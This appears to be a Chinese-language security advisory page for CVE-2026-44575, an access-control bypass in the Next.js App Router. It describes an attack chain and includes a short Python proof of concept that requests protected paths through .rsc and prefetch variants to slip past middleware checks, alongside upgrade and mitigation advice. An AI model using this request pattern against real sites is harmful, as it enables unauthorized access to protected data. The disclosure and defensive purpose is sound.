IPBUF安全漏洞报告
English
CVE-2026-44575 CVSS 7.5 高危

CVE-2026-44575 Next.js访问控制绕过漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-44575
漏洞类型
访问控制绕过
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Next.js

相关标签

访问控制绕过Next.jsApp RouterCVE-2026-44575Authorization Bypass

漏洞概述

Next.js在15.2.0至15.5.16之前及16.2.5之前的版本中存在安全漏洞。在App Router应用中,依赖中间件进行授权检查的配置可被绕过。攻击者可利用传输特定的路由变体(如.rsc或segment-prefetch URL)直接访问受保护页面,从而在无需授权的情况下获取敏感内容。该问题已在15.5.16和16.2.5版本中修复。

技术细节

该漏洞的核心在于Next.js App Router对特定传输层路由变体(如用于React Server Components的.rsc请求或segment-prefetch)的处理逻辑与中间件授权机制存在差异。在受影响版本中,尽管开发者配置了中间件以拦截未授权访问,但这些内部路由变体往往存在于中间件匹配规则之外。攻击者通过构造特制的HTTP请求,模拟RSC数据获取或段预取行为,可以直接绕过中间件的检查。服务器收到此类请求后,会解析并返回受保护页面的数据,导致原本需要认证的内容被直接泄露,严重破坏了应用的访问控制模型。

攻击链分析

STEP 1
侦察
攻击者识别目标网站使用Next.js框架,并发现受中间件保护的敏感路径(如/admin)。
STEP 2
分析
攻击者确认目标版本在受影响范围内(15.2.0至15.5.15或16.2.5之前),并分析App Router的路由结构。
STEP 3
利用
攻击者构造包含.rsc后缀或特定预取头部的HTTP请求,指向受保护的路径。
STEP 4
绕过
服务器处理该特殊请求时,跳过了中间件的授权检查,直接返回了页面的RSC数据。
STEP 5
泄露
攻击者成功获取受保护页面的内容,实现未授权访问。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://vulnerable-nextjs-app.com" protected_path = "/admin/dashboard" # Path protected by middleware print("[*] Attempting standard access...") standard_response = requests.get(f"{target_url}{protected_path}") print(f"Standard Status: {standard_response.status_code}") # Expected: 302/401 # Exploit attempt using transport-specific variant (segment-prefetch/RSC) # Vulnerable versions may serve content without middleware check on these endpoints print("[*] Attempting bypass via segment-prefetch variant...") # Headers that might trigger the vulnerable prefetch/RSC logic exploit_headers = { "User-Agent": "Mozilla/5.0", "Accept": "text/x-component", # Often used for RSC "Next-Router-Prefetch": "1" # Simulating a prefetch request } bypass_response = requests.get(f"{target_url}{protected_path}.rsc", headers=exploit_headers) # Or alternatively targeting the prefetch parameter if applicable # bypass_response = requests.get(f"{target_url}{protected_path}?__next_prefetch=1") if bypass_response.status_code == 200: print("[+] Bypass successful! Received 200 OK.") print(f"[+] Leaked Content: {bypass_response.text[:200]}") else: print("[-] Bypass failed.")

影响范围

15.2.0 - 15.5.15
16.0.0 - 16.2.4

防御指南

临时缓解措施
建议立即将Next.js升级至官方修复版本。如果无法立即升级,请检查中间件配置,确保其匹配器明确覆盖了所有可能被预取的路径和内部路由(如.rsc端点),或通过WAF规则拦截包含特定RSC/Prefetch特征的异常请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表